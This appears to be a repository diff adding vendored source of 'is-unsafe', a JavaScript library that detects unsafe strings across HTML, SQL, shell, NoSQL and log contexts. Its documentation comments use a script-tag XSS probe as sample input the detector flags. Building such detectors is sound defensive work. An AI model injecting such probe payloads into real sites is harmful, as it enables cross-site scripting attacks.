pattern: RegExp;
|
||||
}
|
||||
|
||||
export type ContextArg = ContextName | ContextName[] | RegExp;
|
||||
|
||||
export const VALID_CONTEXTS: { readonly [K in ContextName]: K };
|
||||
|
||||
export function isUnsafe(value: string, context: ContextArg): boolean;
|
||||
export function whyUnsafe(value: string, context: ContextArg): MatchResult | null;
|
||||
export function allUnsafe(value: string, context: ContextArg): MatchResult[];
|
||||
|
||||
declare const isUnsafeDefault: typeof isUnsafe;
|
||||
export default isUnsafeDefault;
|
||||
204
node_modules/is-unsafe/src/index.js
generated
vendored
Normal file
204
node_modules/is-unsafe/src/index.js
generated
vendored
Normal file
@@ -0,0 +1,204 @@
|
||||
/**
|
||||
* is-unsafe
|
||||
*
|
||||
* Zero-dependency, DOM-free, pure predicate for detecting unsafe strings
|
||||
* across HTML, XML, SVG, SQL, SQL-STRICT, SHELL, REDOS, NOSQL, and LOG contexts.
|
||||
*
|
||||
* @module is-unsafe
|
||||
*/
|
||||
|
||||
import CONTEXT_REGISTRY, { VALID_CONTEXTS } from './registry.js';
|
||||
|
||||
/**
|
||||
* @typedef {'HTML'|'XML'|'SVG'|'SQL'|'SQL-STRICT'|'SHELL'|'REDOS'|'NOSQL'|'LOG'} ContextName
|
||||
*/
|
||||
|
||||
/**
|
||||
* @typedef {Object} MatchResult
|
||||
* @property {string} context - The context in which the match was found
|
||||
* @property {string} id - Rule identifier
|
||||
* @property {string} description - Human-readable description of what was matched
|
||||
* @property {RegExp} pattern - The pattern that matched
|
||||
*/
|
||||
|
||||
// ─── Validation helpers ────────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Validate that `value` is a string. Throws TypeError if not.
|
||||
* @param {unknown} value
|
||||
*/
|
||||
function assertString(value) {
|
||||
if (typeof value !== 'string') {
|
||||
throw new TypeError(
|
||||
`is-unsafe: first argument must be a string, got ${typeof value}`
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate that `context` is a recognised context name, an array of them,
|
||||
* or a RegExp instance. Throws TypeError if not.
|
||||
* @param {ContextName|ContextName[]|RegExp} context
|
||||
*/
|
||||
function assertContext(context) {
|
||||
if (context instanceof RegExp) return;
|
||||
|
||||
if (typeof context === 'string') {
|
||||
if (!CONTEXT_REGISTRY[context]) {
|
||||
throw new TypeError(
|
||||
`is-unsafe: unknown context "${context}". Valid contexts: ${Object.keys(VALID_CONTEXTS).join(', ')}`
|
||||
);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (Array.isArray(context)) {
|
||||
if (context.length === 0) {
|
||||
throw new TypeError('is-unsafe: context array must not be empty');
|
||||
}
|
||||
for (const c of context) {
|
||||
if (typeof c !== 'string' || !CONTEXT_REGISTRY[c]) {
|
||||
throw new TypeError(
|
||||
`is-unsafe: unknown context "${c}" in array. Valid contexts: ${Object.keys(VALID_CONTEXTS).join(', ')}`
|
||||
);
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
throw new TypeError(
|
||||
`is-unsafe: second argument must be a context string, array of context strings, or RegExp. Got: ${typeof context}`
|
||||
);
|
||||
}
|
||||
|
||||
// ─── Core matching logic ───────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Test a single value against one named context's patterns.
|
||||
* Returns the first matching MatchResult, or null if nothing matched.
|
||||
*
|
||||
* @param {string} value
|
||||
* @param {string} contextName
|
||||
* @returns {MatchResult|null}
|
||||
*/
|
||||
function matchContext(value, contextName) {
|
||||
const patterns = CONTEXT_REGISTRY[contextName];
|
||||
for (const rule of patterns) {
|
||||
if (rule.pattern.test(value)) {
|
||||
return { context: contextName, id: rule.id, description: rule.description, pattern: rule.pattern };
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
// ─── Public API ───────────────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Returns `true` if `value` is unsafe in the given context(s), `false` otherwise.
|
||||
*
|
||||
* @param {string} value - The string to test
|
||||
* @param {ContextName|ContextName[]|RegExp} context
|
||||
* - A named context ('HTML', 'XML', 'SVG', 'SQL', 'SQL-STRICT', 'SHELL', 'REDOS', 'NOSQL', 'LOG')
|
||||
* - An array of named contexts — returns true if unsafe in **any** of them
|
||||
* - A custom RegExp — returns true if the pattern matches
|
||||
* @returns {boolean}
|
||||
*
|
||||
* @example
|
||||
* isUnsafe('<script>alert(1)</script>', 'HTML') // true
|
||||
* isUnsafe('hello world', 'HTML') // false
|
||||
* isUnsafe('value', ['HTML', 'SQL']) // false
|
||||
* isUnsafe('value', /my-pattern/i) // false
|
||||
*/
|
||||
function isUnsafe(value, context) {
|
||||
assertString(value);
|
||||
assertContext(context);
|
||||
|
||||
// Custom RegExp — caller-supplied pattern
|
||||
if (context instanceof RegExp) {
|
||||
return context.test(value);
|
||||
}
|
||||
|
||||
// Single named context
|
||||
if (typeof context === 'string') {
|
||||
return matchContext(value, context) !== null;
|
||||
}
|
||||
|
||||
// Array of named contexts — unsafe if ANY context matches
|
||||
for (const c of context) {
|
||||
if (matchContext(value, c) !== null) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Like `isUnsafe`, but instead of a boolean returns the first `MatchResult`
|
||||
* describing **why** the value was flagged, or `null` if it is safe.
|
||||
*
|
||||
* Useful for logging, error messages, or policy reporting.
|
||||
*
|
||||
* @param {string} value
|
||||
* @param {ContextName|ContextName[]|RegExp} context
|
||||
* @returns {MatchResult|null}
|
||||
*
|
||||
* @example
|
||||
* whyUnsafe('<script>alert(1)</script>', 'HTML')
|
||||
* // { context: 'HTML', id: 'html-script-open', description: '...', pattern: /.../ }
|
||||
*/
|
||||
function whyUnsafe(value, context) {
|
||||
assertString(value);
|
||||
assertContext(context);
|
||||
|
||||
if (context instanceof RegExp) {
|
||||
return context.test(value)
|
||||
? { context: 'CUSTOM', id: 'custom-regex', description: 'Matched caller-supplied pattern', pattern: context }
|
||||
: null;
|
||||
}
|
||||
|
||||
if (typeof context === 'string') {
|
||||
return matchContext(value, context);
|
||||
}
|
||||
|
||||
for (const c of context) {
|
||||
const result = matchContext(value, c);
|
||||
if (result !== null) return result;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns all matching rules across the given context(s), or an empty array
|
||||
* if the value is safe. Useful for comprehensive auditing.
|
||||
*
|
||||
* @param {string} value
|
||||
* @param {ContextName|ContextName[]|RegExp} context
|
||||
* @returns {MatchResult[]}
|
||||
*/
|
||||
function allUnsafe(value, context) {
|
||||
assertString(value);
|
||||
assertContext(context);
|
||||
|
||||
const results = [];
|
||||
|
||||
if (context instanceof RegExp) {
|
||||
if (context.test(value)) {
|
||||
results.push({ context: 'CUSTOM', id: 'custom-regex', description: 'Matched caller-supplied pattern', pattern: context });
|
||||
}
|
||||
return results;
|
||||
}
|
||||
|
||||
const contexts = typeof context === 'string' ? [context] : context;
|
||||
|
||||
for (const c of contexts) {
|
||||
const patterns = CONTEXT_REGISTRY[c];
|
||||
for (const rule of patterns) {
|
||||
if (rule.pattern.test(value)) {
|
||||
results.push({ context: c, id: rule.id, description: rule.description, pattern: rule.pattern });
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
|
||||
export { isUnsafe, whyUnsafe, allUnsafe, VALID_CONTEXTS };
|
||||
export default isUnsafe;
|
||||
45
node_modules/is-unsafe/src/registry.js
generated
vendored
Normal file
45
node_modules/is-unsafe/src/registry.js
generated
vendored
Normal file
@@ -0,0 +1,45 @@
|
||||
/**
|
||||
* Context registry — maps context name strings to their pattern arrays.
|
||||
*
|
||||
* Adding a new context: create a file in ./contexts/, export a default array
|
||||
* of pattern objects, and register it here.
|
||||
*
|
||||
* Context name guide:
|
||||
* SQL — high-precision rules; safe for general text fields
|
||||
* SQL-STRICT — SQL + three noisier rules (line comments, stacked queries, hex);
|
||||
* use only for SQL-specific inputs
|
||||
* REDOS — detects ReDoS-prone patterns when string will be compiled as RegExp
|
||||
*/
|
||||
|
||||
import HTML_PATTERNS from './contexts/html.js';
|
||||
import XML_PATTERNS from './contexts/xml.js';
|
||||
import SVG_PATTERNS from './contexts/svg.js';
|
||||
import SQL_PATTERNS from './contexts/sql.js';
|
||||
import SQL_STRICT_PATTERNS from './contexts/sql-strict.js';
|
||||
import SHELL_PATTERNS from './contexts/shell.js';
|
||||
import REDOS_PATTERNS from './contexts/redos.js';
|
||||
import NOSQL_PATTERNS from './contexts/nosql.js';
|
||||
import LOG_PATTERNS from './contexts/log.js';
|
||||
|
||||
/** @type {Record<string, Array<{id: string, description: string, pattern: RegExp}>>} */
|
||||
const CONTEXT_REGISTRY = {
|
||||
HTML: HTML_PATTERNS,
|
||||
XML: XML_PATTERNS,
|
||||
SVG: SVG_PATTERNS,
|
||||
SQL: SQL_PATTERNS,
|
||||
'SQL-STRICT': SQL_STRICT_PATTERNS,
|
||||
SHELL: SHELL_PATTERNS,
|
||||
REDOS: REDOS_PATTERNS,
|
||||
NOSQL: NOSQL_PATTERNS,
|
||||
LOG: LOG_PATTERNS,
|
||||
};
|
||||
|
||||
export default CONTEXT_REGISTRY;
|
||||
|
||||
/**
|
||||
* Enum of valid context names — e.g. `VALID_CONTEXTS.HTML === 'HTML'`.
|
||||
* @type {Record<string, string>}
|
||||
*/
|
||||
export const VALID_CONTEXTS = Object.freeze(
|
||||
Object.fromEntries(Object.keys(CONTEXT_REGISTRY).map((k) => [k, k]))
|
||||
);
|
||||
Reference in New Issue
Block a user